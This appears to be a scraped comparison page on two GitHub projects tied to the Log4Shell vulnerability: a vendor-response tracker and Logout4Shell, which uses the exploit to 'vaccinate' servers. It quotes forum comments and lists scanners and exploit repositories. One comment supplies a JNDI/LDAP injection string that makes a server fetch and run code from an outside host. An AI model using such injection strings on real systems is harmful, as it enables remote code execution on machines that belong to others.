log4j-log4shell-affected
Logout4Shell
| log4j-log4shell-affected | Logout4Shell | |
|---|---|---|
| 3 | 34 | |
| 53 | 1,727 | |
| - | - | |
| 0.0 | 2.6 | |
| over 2 years ago | over 2 years ago | |
| Java | ||
| - | MIT License |
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log4j-log4shell-affected
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Known applications that use Spring Framework
When Log4J hit, someone had the forethought to publish a list of affected applications on GITHUB.
- Given the recent Log4J exploit, what widely used linux apps should we be careful with until they are patched?
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US warns hundreds of millions of devices at risk from newly revealed software vulnerability
That being said, I've been keeping an eye out on this Github tracker that consolidates responses from vendors so at least we can see their statements: https://github.com/authomize/log4j-log4shell-affected
Logout4Shell
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Am I able to see which Dropbox accounts have viewed my links?
#1: RCE 0-day exploit found in log4j, a popular Java logging package | 276 comments #2: Godaddy hacked - including admin passwords for both WordPress sites hosted on the platform, as well as passwords for sFTPs, databases and SSL private keys. | 71 comments #3: Log4shell - using the vulnerability to patch the vulnerability - very clever | 64 comments
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Ein etwas anderer Jahresrückblick: 2021 in Google Suchtrends
Hier gibt es eine Impfung gegen Log4Shell. Kein Witz: https://github.com/Cybereason/Logout4Shell
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Log4j : Logpresso patch issue - remove jndi from jar
another option : https://github.com/Cybereason/Logout4Shell
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I heard you can just inject your server with hydroxychloroquine
Yup
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Patching Log4j
This is actually a thing
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Analysis of the 2nd Log4j CVE published earlier (CVE-2021-45046 / Log4Shell2)
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.
${jndi:ldap://hotpatch.log4shell.com:1389/a}
If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.
Source code is on GitHub here[0][1] if you want to host it yourself.
(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)
0: https://github.com/lunasec-io/lunasec/releases/
1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...
2: https://github.com/Cybereason/Logout4Shell
- GitHub - Cybereason/Logout4Shell: Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell
- US warns hundreds of millions of devices at risk from newly revealed software vulnerability
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Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide
The two examples showcase the potential of the RCE. The JNDI endpoint answers with a serialized java class:
a) https://github.com/Cybereason/Logout4Shell where a class is self-healing the log4j vulnerability by reconfiguring it
b) https://twitter.com/marcioalm/status/1470361495405875200 where the payload is opening an application (calculator) on the host system
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Log4j 0day being exploited (mega thread/ overview)
For those that are interested!
What are some alternatives?
CVE-2021-44228-PoC-log4j-bypass-words - 🐱💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java exploit - WAF bypass tricks
grype - A vulnerability scanner for container images and filesystems
spring4shell - Operational information regarding the Spring4Shell vulnerability in the Spring Core Framework
airsonic-advanced
log4shell-tools - Tool that runs a test to check whether one of your applications is affected by the recent vulnerabilities in log4j: CVE-2021-44228 and CVE-2021-45046
interactsh - An OOB interaction gathering server and client library
Apache Log4j 2 - Apache Log4j 2 is a versatile, feature-rich, efficient logging API and backend for Java.
Logout4Shell - Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell
log4j-detector - A public open sourced tool. Log4J scanner that detects vulnerable Log4J versions (CVE-2021-44228, CVE-2021-45046, etc) on your file-system within any application. It is able to even find Log4J instances that are hidden several layers deep. Works on Linux, Windows, and Mac, and everywhere else Java runs, too! TAG_OS_TOOL, OWNER_KELLY, DC_PUBLIC
CVE-2021-44228-Log4Shell-Hashes - Hashes for vulnerable LOG4J versions
log4j_CVE-2021-44228_tester - Multithreaded log4j vulnerability scanner using only bash! Tests all JNDI protocols, HTTP GET/POST, and 84 headers. [Moved to: https://github.com/ssstonebraker/log4j-scan-turbo]
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